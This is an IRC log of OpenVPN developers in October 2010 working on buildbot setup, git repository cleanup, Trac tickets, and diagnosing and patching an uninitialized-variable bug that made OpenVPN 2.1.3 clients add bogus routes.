quit [Quit: jamesyonan] 06:19 <@dazo> new-value is a sha1 value? 06:26 <@mattock> that's what I assumed.. .but <ref-name> puzzles me 06:28 <@dazo> yeah, me too 06:29 <@dazo> but as git uses sha1 values for all objects, which includes files/directories (blob contents), commits and tags ... it might be that ref-name is the sha1 value of the commit, while old/new values are referencing the blob 06:31 <@mattock> I think I can debug this by studying the hook script 06:32 <@mattock> takes a while, but I'll get there 06:33 <@dazo> mattock: git cat-file -t <sha1> will tell you what kind of object it is 06:34 <@mattock> okay, let's see 06:44 <@mattock> haha, success 06:45 <@mattock> the email seems sane 07:27 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 07:28 < agi> hi all 07:30 < agi> I just found a bug in the new (in 2.1.3) "multi-address DNS expansion on the network field of route commands." 07:31 < agi> a debian user reported: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=600166 07:31 < vpnHelper> Title: #600166 - openvpn: at start it adds >40 bogus routes not specified in configuration - Debian Bug report logs (at bugs.debian.org) 07:31 < agi> and I tracked the problem to the use of "remote_host" in a route push 07:34 < agi> removing the changes from 2.1.0 to 2.1.3 in route.c (as in http://paste.debian.net/96557/) will fix the issue 07:35 < agi> could someone more familiar with the code check this? 07:43 <@mattock> woho, I just got a git commit mail to send a Change object to buildbot \o/ 07:44 <@dazo> agi: could you create a Trac ticket on this one and reference the Debian ticket? 07:46 < agi> dazo: sure 07:47 <@dazo> add git commit f9b2ada0eece06158cc3ce6f6348bd431dfd7f0a / svn -r 6291 as the offending commit 07:47 <@dazo> agi: thx! 07:52 < agi> TICKET_CREATE privileges are required to perform this operation 07:52 < agi> ..... 07:52 < agi> after all the typing 07:52 < agi> :D 07:52 * ecrist pokes his head in there 07:52 <@dazo> oh dear 07:52 * agi kicks trac 07:52 < ecrist> I'll fix it 07:52 <@dazo> ecrist: thx! 07:52 < agi> thanks ecrist 07:53 < ecrist> agi, are you authenticated? 07:53 < agi> yep 07:53 < agi> logged in as agi 07:53 < ecrist> hrm, according to the permissions, all authenticated users have TICKET_APPEND, TICKET_CREATE, TIMELINE_VIEW, WIKI_CREATE, and WIKI_MODIFY 07:54 < agi> (that error came after hitting "Preview" 07:54 < agi> ) 07:54 < agi> I'll try Create Ticket 07:54 < ecrist> ok 07:54 < agi> nah 07:54 < agi> same thing 07:54 < ecrist> wtf 07:55 < agi> ecrist: wait 07:55 * ecrist still needs shell access to community 07:55 * ecrist pokes mattock 07:55 < agi> something wrong with my browser.... ?? 07:55 <@mattock> ecrist: I'm here 07:55 < agi> I see "logged in as agi" in the ticket form 07:56 < agi> but when I hit "Create..." the error page reads "Login" 07:56 < ecrist> agi, try logging out and back in (copy all the text from the ticket, first) 07:56 < agi> yes, I'm on it 07:58 < agi> done! 07:58 < agi> thanks guys 07:58 < agi> Ticket #64 07:58 <@dazo> agi: thx! 07:58 < agi> gotta go now, bbl 07:59 <@dazo> agi: I'd like to have a little chat with you at some point ... but don't stress about it 07:59 < vpnHelper> RSS Update - tickets: #64: LOTS of bogus routes added on client connect <https://community.openvpn.net/openvpn/ticket/64> 08:04 <@dazo> mattock: btw ... I'm getting trac mails now, so that works :) 08:04 <@mattock> neat! 08:31 <@mattock> ok, I got buildbot to start building when it receives mail... the python code is pretty cheesy still, but it works 08:31 <@mattock> I call this a day :) 08:32 <@dazo> :) 08:57 -!- dazo is now known as dazo_afk 09:28 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 12:26 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:40 < agi> dazo_afk: I'll ping you when I see you back, or just ping me if I'm not offline. (re little chat) 13:40 < agi> s/offline/away/ 13:40 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 13:40 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:40 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: Connection reset by peer] 14:21 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:21 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:57 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 14:58 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 16:39 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 17:14 < krzie> it would be nice (and solve 1000 questions) if there was a client directive to ignore ONLY redirect-gateway 18:53 < krzie> https://forums.openvpn.net/viewtopic.php?f=4&t=7183 18:53 < vpnHelper> Title: OpenVPN Support Forum View topic - Need help with core dump gdb output 2.1.3 server (at forums.openvpn.net) 18:53 < krzie> looks like a q for dev types ;] --- Day changed Sat Oct 16 2010 00:13 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 01:48 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 03:01 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:06 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 264 seconds] 06:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 13:32 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:44 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 14:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:13 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] --- Day changed Sun Oct 17 2010 01:29 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 05:47 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 06:27 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 06:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:40 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:53 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:25 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 08:28 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:19 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 15:24 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Mon Oct 18 2010 01:40 -!- dazo_afk is now known as dazo 01:46 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 07:20 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 272 seconds] 07:21 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 07:21 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 07:21 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 10:01 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 10:08 -!- dazo is now known as dazo_afk 10:57 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 10:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:19 -!- d303k [~heiko@88.130.211.211] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+o d303k] by ChanServ 14:20 -!- d303k [~heiko@88.130.211.211] has quit [Client Quit] 16:04 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] --- Log closed Mon Oct 18 16:09:08 2010 --- Log opened Mon Oct 18 16:09:15 2010 16:09 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 16:09 -!- Irssi: #openvpn-devel: Total of 19 nicks [4 ops, 0 halfops, 0 voices, 15 normal] 16:09 -!- Irssi: Join to #openvpn-devel was synced in 44 secs 16:16 -!- Netsplit *.net <-> *.split quits: ecrist 20:47 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 22:57 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Tue Oct 19 2010 00:56 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:17 < krzie> https://forums.openvpn.net/viewtopic.php?f=4&t=7188&p=8125#p8125 01:17 < vpnHelper> Title: OpenVPN Support Forum View topic - Max simultaneous client connections (at forums.openvpn.net) 01:45 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 01:57 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:58 <@mattock> dazo_afk: still busy like hell? 03:03 -!- dazo_afk is now known as dazo 03:07 <@dazo> mattock: It's not busy as bloody hell (last 2 weeks) ... so calmer, but still hectic. Now it's mainly outside work which takes my time. Until Sunday, it's hectic and next week it I'll hopefully get a touch of a something closer to normal 03:08 <@mattock> ok, no probs... I'm finalizing the GitMaildirSource so whenever you have time to commit something to the git repo, please let me know 03:08 <@mattock> to verify that the post-receive-email hook works 03:09 <@dazo> good! I'm really sorry I didn't manage to look at the git tree last week either. That's really bothering me now 03:09 <@mattock> that's fine, I pushed commit mails from my puppet git repo to the build server for testing 03:09 <@dazo> I have some high-pri tasks at work this week, and I might get some time for OpenVPN when these tasks are done ... and it shouldn't take too long 03:10 <@mattock> the GitMaildirSource should be "good enough" for our use today evening 03:11 <@dazo> nice! 03:11 <@dazo> I'll really try to do my best ... the git repo clean-up is highly overdue and really needed to fix 03:11 <@mattock> there should not be any big issues unless the post-receive-email hook sends widely different kind of mails depending on the type of change 03:12 <@dazo> mm 03:17 <@dazo> cron2: got my new tp-link router yesterday ... haven't had time to play much with it, but OpenWRT installed smoothly ... and wow, those 8MB flash are spacious :) As it's not urgent to get it working, I'll post-pone the real configuration fun until things have calmed down ... but looks like a great device! 03:23 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 04:50 -!- Netsplit *.net <-> *.split quits: kisom, @dazo, @d12fk 04:50 -!- Netsplit over, joins: kisom 04:50 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:51 -!- Netsplit over, joins: dazo 04:51 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:48 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 05:57 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 06:03 <@cron2> dazo: glad you like your new toy :-) 06:03 <@dazo> heh :) 06:03 * cron2 just turned his 1043 into a plug-in IPv6 tunnel box - get public DHCP address, setup L2TP tunnel to $corp server (through the existing NAT box), provide IPv6 on LAN+WiFi :-) 06:04 <@dazo> I just wish I had time to play more with it now .... but not yet 06:04 <@dazo> wow cool! 06:06 <@dazo> I got ipv6 and openvpn packages installed on it yesterday behind my old wrt54gl, and it did it's job ... got the IPv6 address automatically and could connect, so I know it works at least :) 06:06 <@dazo> but havent looked at openvpn on it ... no time for that :( 06:07 * dazo plans to install cron2's IPv6 enabled version and get IPv6 access via that box 06:07 <@cron2> \o/ :-) 06:08 <@dazo> :) 06:22 <@dazo> Just read some Norwegian IT news ... that since January to October (9 months) the available IPv4 address pool is now halved and it has gone much quicker than anticipated 06:34 <@cron2> well, it very much depends how you look at the statistics, and of course there's fluctuation... but now even the regional newspapers have picked up something (my mother told me today) "the Internet is going to end!!" :-) 06:43 <@dazo> heh 06:43 <@dazo> a lot of distortion on the way, obviously 07:00 <@mattock> dazo: the GitMaildirSource is now fully functional, check out this URL: http://10.7.36.101:8010/waterfall 07:00 <@mattock> and especially this: http://10.7.36.101:8010/changes/6 07:01 * dazo realised he should start a VPN connection first 07:03 <@dazo> mattock: neat! 07:03 <@dazo> are the build logs spammed somewhere as well= 07:03 <@dazo> ? 07:05 <@mattock> there are no build logs because the changes are from "master" branch and only changes to "allmerged" are configured to trigger a build 07:05 <@dazo> fair enough, it was more a generic question :) 07:05 <@mattock> but when a real commit message goes to openvpn-commits, it will notice the branch 07:05 <@mattock> and build 07:06 * dazo feels the urge to try this out soon!!! 07:06 <@mattock> you can show the logs by clicking on the build name (e.g. "Build 9") or any of the individual steps 07:07 <@mattock> actually you need to click on the build step you want to examine 07:07 <@dazo> yeah, that I know ... just that if I push changes to the tree, I would probably be too lazy to check the web logs soon after 07:08 <@mattock> yep, that's a separate problem I'll start fixing soon 07:08 <@mattock> so if a set of builds fail, it should send mail to openvpn-builds 07:09 <@dazo> mattock: how is it with the public test server? Just noticed a build log skipping cron2's test script (which would be ideal in this setup) 07:09 <@dazo> mattock: cool! no stress! I'm just curious :) 07:10 <@mattock> I got root access to the test server, but it's still almost unconfigured 07:10 <@mattock> anyways, I'll move on to buildbot notifications now... that's the last piece in the puzzle 07:30 <@dazo> agreed 07:54 <@mattock> ok, notifications should "just work", but I doubt it :) 08:13 -!- You're now known as ecrist 10:29 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 13:00 -!- dazo is now known as dazo_afk 14:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 14:27 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 15:12 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 15:12 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 15:12 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:15 -!- krzee [~k@openvpn/community/support/krzee] has quit [Client Quit] 15:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:25 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 264 seconds] 18:38 < krzee> https://community.openvpn.net/openvpn/ticket/30 18:38 < vpnHelper> Title: #30 (Improve man page - scripting and environmental variables section) – OpenVPN Community (at community.openvpn.net) 18:38 < krzee> i accepted that ticket and put it in better english 18:39 < krzee> if someone would like to look and ack, or change... go for it 18:40 < krzee> also if anyone notices other tickets of similar type in the future... feel free to point them out to me 20:36 -!- patelx [patel@vortex.openvpn.net] has joined #openvpn-devel 20:36 -!- mode/#openvpn-devel [+o patelx] by ChanServ 20:38 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has quit [Ping timeout: 276 seconds] 20:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 20:38 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 276 seconds] 20:38 -!- dazol [~dazo@nat/redhat/session] has joined #openvpn-devel 20:38 -!- dazol [~dazo@nat/redhat/session] has quit [Changing host] 20:38 -!- dazol [~dazo@nat/redhat/x-qhmhkzcohibxwaje] has joined #openvpn-devel 20:39 -!- Netsplit *.net <-> *.split quits: waldner 20:41 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 20:41 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 22:38 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 23:03 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Wed Oct 20 2010 01:17 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:17 -!- dazol is now known as dazo 01:17 -!- dazo [~dazo@nat/redhat/x-qhmhkzcohibxwaje] has quit [Changing host] 01:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:17 -!- mode/#openvpn-devel [+o dazo] by ChanServ 01:20 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 02:04 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 02:07 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 04:29 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:29 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:26 <@mattock> agi, krzee, chantra and walder: I used you (as well as myself) as test subjects for my LDAP password hashing script 06:27 <@mattock> let me know if you have any issues logging into forums or community 06:28 < agi> mattock: ok 06:30 < agi> mattock: working fine (both community and forums) 06:30 <@mattock> agi: thanks! I tested it already on a few test accounts, but you never know... 08:52 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 09:11 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 09:11 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 09:11 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:23 <@dazo> mattock: I have a topic for tomorrows meeting ... agi found a potential issue with daemon() being called in plug-ins ... we need a discussion about this with James 11:25 <@dazo> further, we should really discuss ticket #64 as well ... that's related to the patch James pulled in himself which overruled the FRP process we had going for the disable-randomize hostname lookup stuff ... but this is not directly related to that, but the functional change gives an impact another place in the code 11:29 -!- dazo is now known as dazo_afk 11:35 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Quit: Leaving] 11:35 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:37 -!- patelx [patel@vortex.openvpn.net] has quit [Changing host] 11:37 -!- patelx [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 11:37 -!- ServerMode/#openvpn-devel [+o patelx] by asimov.freenode.net 12:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:42 <@cron2> what does "route remote_host" *do*? 12:42 <@cron2> ah 12:42 <@cron2> ok 12:42 <@cron2> understood 12:42 < ecrist> what does it do? 12:42 <@cron2> so why is it broken in 2.1.3? 12:43 <@cron2> ecrist: it's in the man page :-) - remote_host is magic: 12:43 <@cron2> remote_host -- The --remote address if OpenVPN is being run in 12:43 <@cron2> client mode, and is undefined in server mode. 12:43 < ecrist> ah 12:43 <@cron2> and in 2.1.3 that seems to explode to 100+ crap routes 12:44 < krzee> http://openvpn.net/faq.html#dhcpclientserv 12:44 < vpnHelper> Title: FAQ Community (at openvpn.net) 12:44 < krzee> if you go to one of those, it does not expand the FAQ question 12:44 < krzee> or jump to it 12:46 * krzee gets a pitchfork and chases mattock in circles ;] 12:48 * cron2 gets popcorn and watches 13:06 * krzee decides mattock is too fast and chases patel instead 13:16 * ecrist kicks patelx so krzee can catch up 14:05 <@cron2> dazo: wtf do I have to checkout to get 2.1.3? bugfix2.1 seems to have 2.1.1i (version.m4)? 14:18 <@cron2> (ok, found "git checkout v2.1.3" - too simple :) ) 14:21 <@cron2> oh well. this "remote_host" thing is a MAJOR goof... route.c, init_route() will leave &netlist uninitialized (read: random garbage in netlist.len, 'it's on top of the stack') if get_special_addr() flags it as "it's a special address" 14:22 <@cron2> and then subsequently init_route_list() will just iterate over netlist.data[garbage] until the route_list is full (100 entries) 14:22 <@cron2> $someone introduced unACKed code... (though I'm not sure reviewing would have spotted this) 14:35 <@cron2> agi: could you test the patch that I just added to #64? 15:16 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 15:16 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Connection reset by peer] 15:17 -!- mode/#openvpn-devel [+o d457k] by ChanServ 15:23 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:49 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 17:24 < ecrist> undefined variable: $someone 18:10 < ecrist> have we gotten any feedback on 2.3beta3? 18:10 < ecrist> 2.2* 18:10 < ecrist> road map for 2.2beta4? 18:10 < ecrist> or an RC? --- Day changed Thu Oct 21 2010 00:32 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 276 seconds] 00:48 -!- d457k [~heiko@vpn.astaro.de] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o d457k] by ChanServ 00:59 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:03 <@cron2> ecrist: haven't heard anything about 2.2b3, but would expect yesterday's bug to be in there (#64) 01:03 <@cron2> I' 01:04 <@cron2> I'd aim for "beta4 fairly soonish now, as soon as dazo is done reorganizing the git stuff and mattock is done with the automated test setup" 01:04 <@cron2> (and "as soon as cron2 is done with the solaris tap stuff") 02:24 -!- dazo_afk is now known as dazo 02:24 <@cron2> mornin' :) 02:40 <@dazo> Guten morgen :) 02:43 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 02:46 <@dazo> cron2: good catch! that UNacked code is coming from James himself ... I did locate it to commit f9b2ada0eece ... but true, I'm also not sure review would have caught this one 02:48 <@dazo> cron2: I'm just thinking aloud ... looking at your patch ... wouldn't it be even better to do memset(&netlist, 0, sizeof(struct route_list)); ? 02:48 -!- chantra_1fk [~chantra@ns38827.ovh.net] has joined #openvpn-devel 02:53 -!- Netsplit *.net <-> *.split quits: krzie, chantra_afk, agi, @raidz 02:53 -!- Netsplit *.net <-> *.split quits: patel 02:56 -!- Netsplit over, joins: patel 02:56 -!- Netsplit over, joins: krzie, agi 02:56 <@cron2> dazo: I know where the patch came from, I just didn't want to do fingerpointing (for a change, that is :) ) 02:57 <@dazo> heh :) 02:58 <@cron2> regarding memset: well, yes, that's the "more thorough" approach - but since there is nothing in the code that assumes "anything beyond where netlist.len points to contains useful information", it's not strictly necessary 02:58 <@cron2> I have no strong feelings either way. What's "The OpenVPN style guide way" on this? 02:59 <@dazo> "take what works", perhaps? :) 02:59 <@dazo> I was just trying to catch potential future issues, if the route_list is extended, then making sure it really is empty is a good thing ... but, I'm always of the more defensive person in such cases (or at least tries to be) 03:01 <@dazo> In general, I think James likes things to be more defensive ... and I just remember he uses the CLEAR() macro a lot 03:01 <@cron2> (nb, it's "struct resolv_list" :) ) 03:02 <@cron2> ok - so I'll wait for agi to confirm that my patch indeed fixes the bug, and then I'll re-spin with CLEAR() 03:02 <@dazo> cool! I'll ack that patch immediately 03:03 <@dazo> agi: ^^ I know you want a patch from us ... so you know what to do ;-) 03:04 <@cron2> hrhr :) 03:06 <@mattock> cron2: now that buildbot work is mostly finished, I'll move on to test server stuff 03:06 <@mattock> started working on it yesterday 03:07 <@cron2> mattock: great. I need to find time to integrate the Solaris tap patches and then we can spin beta4 :) 03:07 <@mattock> btw. here's a good read: http://people.gnome.org/~michael/blog/copyright-assignment.html 03:07 < vpnHelper> Title: Stuff Michael Meeks is doing (at people.gnome.org) 03:07 <@cron2> dazo: btw: which branch is v2.1.3 in? if I checkout the "tag", I get a "detached HEAD" message 03:08 <@dazo> v2.1.3 is a tag ... so you need to checkout the tag o a branch. f.ex. git checkout -b rel_v2.1.3 v2.1.3 03:08 <@mattock> "to a branch" :) 03:08 <@dazo> heh :) 03:08 <@mattock> btw, we're now a buildbot success story: http://buildbot.net/trac/wiki/SuccessStories 03:08 < vpnHelper> Title: SuccessStories – Buildbot (at buildbot.net) 03:08 <@dazo> (unsigned tags are basically a "human readable name" to a commitish) 03:09 <@cron2> dazo: ok, I don't understand git :-) - in CVS, a tag is applied to a certain version, *in a certain branch* 03:09 <@cron2> don't git tags apply to "something in a given branch"? 03:09 <@dazo> nope, unsigned tags are just a reference to a commitish 03:09 <@cron2> (but anyway - if I want "the most recent 2.1 branch", which branch do I grab?) 03:10 <@cron2> I tried bugfix2.1, but that doesn't seem to be it 03:10 <@dazo> svn-BETA21 tracks James SVN development branch 03:10 <@dazo> and bugfix2.1 is based on that branch 03:10 <@dazo> (and adds the community bugfixes) 03:10 <@cron2> if I checkout bugfix2.1, version.m4 says "2.1.1i" 03:10 <@dazo> hmm 03:11 <@dazo> hmmmmmm ... I see I'm lagging way too much with the git tree :( 03:13 <@dazo> Unless something really unexpected happens ... and my managers do not have a big pile of unexpected work to be completed this week for me ... I think I might be able to start looking at the git tree today 03:13 <@cron2> ah, seems bugfix2.1 needs rebasing to svn-BETA21 :) 03:13 <@dazo> cron2: yeah 03:13 <@cron2> svn-BETA21 says "2.1.3a" in version.m4 03:13 <@cron2> anyway. test compiling the CLEAN() variant now 03:15 <@dazo> :) 03:39 <@cron2> patch sent 03:43 <@dazo> thx! 03:51 -!- mape2k [~jabber@jabber.pennewiss.de] has joined #openvpn-devel 04:26 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 04:26 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 04:26 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 04:26 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 04:36 < vpnHelper> RSS Update - testtrac: Merge remote branch 'origin/master' <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=d59fa6c1efdc9a12b62decc018164e5c38c98002> || Added mapping files from SVN commit ID to more descriptive commit IDs. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=b45eeae36b5915180eae4ad70314c97dc8d2dfff> 04:47 * dazo sees that he is under surveillance now ..... 04:51 <@cron2> hehe 05:11 < agi> hi 05:11 < agi> cron2: the patch to try is the + CLEAR(netlist); one? 05:14 <@dazo> agi: you probably need both of them, as that one goes on top of the first he sent 05:15 < agi> ok 05:39 < agi> cron2: seems to work just fine :) 05:51 <@cron2> agi: ok, good. thanks for testing. 05:52 <@cron2> agi: could you send an ACK to the list, so it's archived? 05:52 < agi> sure, np 06:01 <@cron2> thanks. dazo: yours now :-) 06:05 < krzee> & im looking for an ack to a man page fix 06:06 <@cron2> krzee: in trac or on the list? 06:06 < krzee> trac 06:07 <@cron2> which ticket #? 06:07 < krzee> im having issues finding it now, 1min 06:09 < krzee> https://community.openvpn.net/openvpn/ticket/30 06:09 < vpnHelper> Title: #30 (Improve man page - scripting and environmental variables section) – OpenVPN Community (at community.openvpn.net) 06:11 < krzee> i made it accepted status... i think this meant that i was accepting the ticket and not that the change was accepted 06:13 <@cron2> I'd suggest another small change to the wording 06:13 <@dazo> krzee: I'll give that an ack 06:13 <@dazo> cron2: please suggest :) 06:14 < krzee> cron2, what change? 06:14 <@cron2> in trac :) 06:15 < krzee> ++ 06:20 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 272 seconds] 06:21 <@cron2> I take this as "ok for you" :) - then ACK, and to dazo :)) 06:22 < krzee> yup, i responded with "perfect" which is my ack 06:22 < krzee> so on to dazo 06:22 <@cron2> didn't look into trac yet :) just saw the "++" here 06:24 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 07:26 -!- mape2k [~jabber@jabber.pennewiss.de] has left #openvpn-devel [] 08:38 -!- dazo is now known as dazo_afk 08:44 -!- dazo_afk is now known as dazo 10:13 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 10:31 <@cron2> do we have a meeting tonight? 10:36 <@cron2> (I don't think we have anything that needs a meeting, since we already got the "remote_host" thing out of the way :) ) - next week, we need to discuss 2.1.4 and 2.2beta4 release planning 10:41 < ecrist> bug #64, iirc 10:41 < ecrist> I think people want a meeting. 10:45 <@cron2> ecrist: #64 is fixed and is just waiting for dazo to integrate - and then for james to release 2.1.4... 10:46 <@dazo> and I'm working on the git tree now 10:46 <@dazo> recreating allmerged, rebasing bugfix2.1 properly .... 11:19 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Ping timeout: 276 seconds] 11:31 <@dazo> mattock: cron2: I believe I have managed to get a new allmerged branch out (finally) 11:31 <@cron2> wohoo! 11:31 <@dazo> I simply started from scratch 11:31 <@dazo> that was cleaner, basically 11:32 <@mattock> dazo: \o/ 11:32 <@cron2> fetching now... 11:32 <@cron2> + 72445b0...408e628 allmerged -> dazo/allmerged (forced update) 11:32 <@dazo> yeah 11:32 <@dazo> it's hard and brutal 11:32 <@mattock> btw. let me know if we want to have an official meeting today and I'll send mail to -devel 11:32 <@dazo> mattock: could be good! 11:32 <@cron2> mmmh 11:32 <@cron2> Your branch and 'dazo/allmerged' have diverged, 11:32 <@cron2> and have 94 and 85 different commit(s) each, respectively. 11:33 <@dazo> cron2: yeah, you need to scrap the old one 11:33 <@dazo> that's b0rken 11:33 <@cron2> yep. 11:33 <@mattock> it would help if you guys could suggest a few topics 11:33 <@dazo> mattock: did you see my msgs for you yesterday? 11:33 <@mattock> -> eat 11:33 <@mattock> dazo: I'll check 11:34 <@dazo> <dazo> [20-10 18:23:24] mattock: I have a topic for tomorrows meeting ... agi found a potential issue with daemon() being called in plug-ins ... we need a discussion about this with James 11:34 <@dazo> <dazo> [20-10 18:25:35] further, we should really discuss ticket #64 as well ... that's related to the patch James pulled in himself which overruled the FRP process we had going for the disable-randomize hostname lookup stuff ... but this is not directly related to that, but the functional change gives an impact another place in the code 11:34 <@mattock> oh, I missed that somehow 11:34 <@dazo> the second one (ticket #64) is basically solved in the mean time 11:34 <@dazo> Now I'm going to go through and find all the missing patches 